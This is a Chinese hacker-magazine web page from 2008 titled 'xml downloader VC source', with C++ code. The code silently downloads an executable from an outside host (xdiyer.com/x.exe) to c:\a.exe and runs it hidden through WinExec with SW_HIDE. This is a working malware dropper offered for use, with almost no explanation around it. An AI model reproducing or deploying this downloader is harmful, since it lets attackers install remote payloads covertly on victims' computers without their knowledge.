《黑客防线》↑在攻与防的对立统一中寻求突破!2001年创刊的黑客技术专业刊物!

设为首页
收藏本站
联系我们
网站导航


技术文章 - 黑客编程 - 浏览文章 - xml下载者VC源码
xml下载者VC源码
http://www.hacker.com.cn/ 2008-5-15 11:38:33 黑客防线
作者:CoolDiyer
来源:红狼
// xml.cpp : By CoolDiyer 2008/4/9 14:03
//
#pragma comment(linker, “/subsystem:windows /FILEALIGN:0×200 /opt:nowin98“)

#include <windows.h>
#include <atlbase.h>
#import “msxml.dll”
bool URLDownloadToFile(LPCTSTR szURL, LPCTSTR szFileName)
{
MSXML::IXMLHttpRequestPtr xmlHttp = NULL;
HRESULT hr;
BSTR bstrstring = NULL;
hr = xmlHttp.CreateInstance(”msxml2.xmlhttp“);
if (!SUCCEEDED(hr)) return false;
hr = xmlHttp->open(”GET“, szURL, false);
if (!SUCCEEDED(hr)) return false;
hr = xmlHttp->send();
if (!SUCCEEDED(hr)) return false;
xmlHttp->get_responseText(&bstrstring);
if (!SUCCEEDED(hr)) return false;

VARIANT vValue;
xmlHttp->get_responseStream(&vValue);

IStream *pIStream = NULL;
STATSTG StatStg;
pIStream = (IStream*)vValue.punkVal;  //取得流对象指针
pIStream->Stat(&StatStg, NULL);
ULONG nSize = ULONG(StatStg.cbSize.QuadPart);  //取得文件的长度

HANDLE hFile  = CreateFile(szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

BYTE lpBuffer[1024];
DWORD dwBytesWritten = 0;
ULONG uLen;
while (nSize > 0)
{
  pIStream->Read(lpBuffer, min(nSize,1024), &uLen); //防止文件过大
  WriteFile(hFile, lpBuffer, uLen, &dwBytesWritten, NULL);
  nSize -= uLen;
}
CloseHandle(hFile);
if (pIStream)
{
  pIStream->Release();
  pIStream = NULL;
}
return true;
}

int WINAPI WinMain(
       HINSTANCE hInstance,      // handle to current instance
       HINSTANCE hPrevInstance,  // handle to previous instance
       LPSTR lpCmdLine,          // command line
       int nCmdShow              // show state
)
{
CoInitialize(NULL);
char *lpszFile = “c:\\a.exe“;
URLDownloadToFile(http://xdiyer.com/x.exe“, lpszFile);
WinExec(lpszFile, SW_HIDE);
CoUninitialize();
return 0;
}
所属分类: 黑客编程   所属专题:
共有 243 人次浏览 收藏本页 返回上一页
相关文章
    评论作者:
    电子邮件:
    评论内容:
    投票评价:
    验 证 码:
    图片包含4个随机字符,点击刷新
    请输入上面图片中的随机字符